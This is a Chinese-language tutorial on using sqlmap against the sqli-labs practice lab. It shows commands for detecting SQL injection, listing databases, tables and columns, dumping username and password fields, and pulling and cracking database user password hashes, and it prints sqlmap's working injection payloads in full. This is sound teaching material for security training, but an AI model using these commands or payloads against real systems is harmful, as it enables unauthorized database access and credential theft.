目录
1 判断是否存在注入
假设目标注入点是 http://localhost/sqli-labs/Less-1/?id=11 ,判断其是否存在注入点的命令如下所示:
python sqlmap.py -u http://localhost/sqli-labs/Less-1/?id=11
sqlmap identified the following injection point(s) with a total of 50 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=11' AND 6239=6239 AND 'sWzo'='sWzo
Type: error-based
Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
Payload: id=11' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7178627a71,(SELECT (ELT(9725=9725,1))),0x716b717871,0x78))s), 8446744073709551610, 8446744073709551610))) AND 'zuJe'='zuJe
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=11' AND (SELECT 5227 FROM (SELECT(SLEEP(5)))ZvEL) AND 'JmOX'='JmOX
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=-4386' UNION ALL SELECT NULL,NULL,CONCAT(0x7178627a71,0x4742497749446d6b6e584d56776648776d497572696b6643677a564a5858477151475a64704f726e,0x716b717871)-- -
---
还有一种情况,当注入点后面的参数大于等于两个时,需要加双引号,如下所示。
python sqlmap.py -u "http://192.168.43.68/sqli-labs/Less-1/?id=1&uid=2"
可以看到,运行完判断是否存在注入的语句后,“爆出” 一大段代码,下面来分析代码反馈给我们的信息。这里有三处需要选择的地方:
第一处的意思为检测到数据库可能是MySQL,是否需要跳过检测其他数据库;
第二处的意思是在"level1、risk1"的情况下,是否使用MySQL对应的所有Payload进行检测;
第三处的意思是参数ID存在漏洞,是否要继续检测其他参数,一般默认按回车键即可。
sqlmap identified the following injection point(s) with a total of 51 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 4892=4892 AND 'vJkm'='vJkm&uid=2
Type: error-based
Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
Payload: id=1' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716a6a7a71,(SELECT (ELT(9671=9671,1))),0x7162716b71,0x78))s), 8446744073709551610, 8446744073709551610))) AND 'pBVx'='pBVx&uid=2
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 9857 FROM (SELECT(SLEEP(5)))SaOn) AND 'daZa'='daZa&uid=2
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=-2614' UNION ALL SELECT NULL,CONCAT(0x716a6a7a71,0x4242534c516562597462796f424e50724c6c6e45644d577865434f5750624b41614667746e416c72,0x7162716b71),NULL-- -&uid=2
---
2 判断文本中的请求是否存在注入
从文件中加载http请求,SQLMap可以从一个文本文件中获取HTTP请求,这样就可以不设置其他参数(如cookie、POST数据等),txt文件中的内容为web数据包、
判断是否存在注入的命令如下所示,-r一般在存在cookie注入时使用
sqlmap -r /desktop/1.txt
3 查询当前用户下的所有数据库
该命令是确定网站存在注入后,用于查询当前用户下的所有数据库。如果当前用户有权限读取包含所哟数据库列表信息的表,使用该命令就可以列出所有数据库。
sqlmap.py -u http://localhost/sqli-labs/Less-1/?id=11 --dbs
--dbs缩写成-D xxx,意为在xxx数据库中继续查询其他数据
4 获取数据库中的表名
该命令的作用是查询完数据库后,查询指定数据库中所有的表名。
如果在该命令中不加入-D参数来指定某一个具体的数据库, 那么SQLMap会列出数据库中所有库的表
sqlmap.py -u "http://192.168.1.7/sql/union.php?idl=1" -D dkeye --tables
可以看到dkeye数据库中拥有的三个表名。
当继续注入时,--tables缩写成-T,意为在某表中继续查询
5 获取表中的字段名
该命令的作用是,查询完表名后,查询该表中所有的字段名
sqlmap.py -u "http://192.168.1.7/sql/union.php?id=1" -D dkeye -T user_info --columns
可以看到dkeye数据库中的user_info表中一共有四个字段。 --columns 缩写成 -C
6 获取字段内容
作用:查询玩字段名之后,获取字段中的具体数据信息
sqlmap.py -u "http://192.168.1.7/sql/union.php?id=1" -D dkeye -T user_info -C username,password --dump
这里需要下载的数据是dkeye数据库里user_info表中username和password
7 获取数据库的所有用户
该命令的作用是列出数据库的所有用户,如下所示。在当前用户有权限读取包含所有用户的表的权限时,使用该命令就可以列出所有管理用户。
sqlmap.py -u "http://192.168.1.7/sql/union.php?id=1" -users
可以看到,当前用户账号是root。
8 获取用户数据库的密码
该命令的作用是列出数据库用户的密码,如下所示。如果当前用户有读取包含用户密码的权限, SQLMap会先列举出用户,然后列出Hash,并尝试破解。
sqlmap.py -u "http://192.168.1.7/sql/union.php?id=1" --passwords
可以看到,密码使用MySQL5加密,可以在www.cmd5.com中自行解密。
9 获取当前网站数据库的名称
使用该命令可以列出当前网站使用的数据库,如下所示
sqlmap.py -u "http://192.168.1.7/sql/union.php?id=1" --current-db
可以看到数据库是'sql'。
10 获取当前网站数据库的用户名称
使用该命令可以列出当前网站使用的数据库用户
sqlmap.py -u "http://192.168.1.7/sql/union.php?id=1" --current-user
可以看到,用户是root。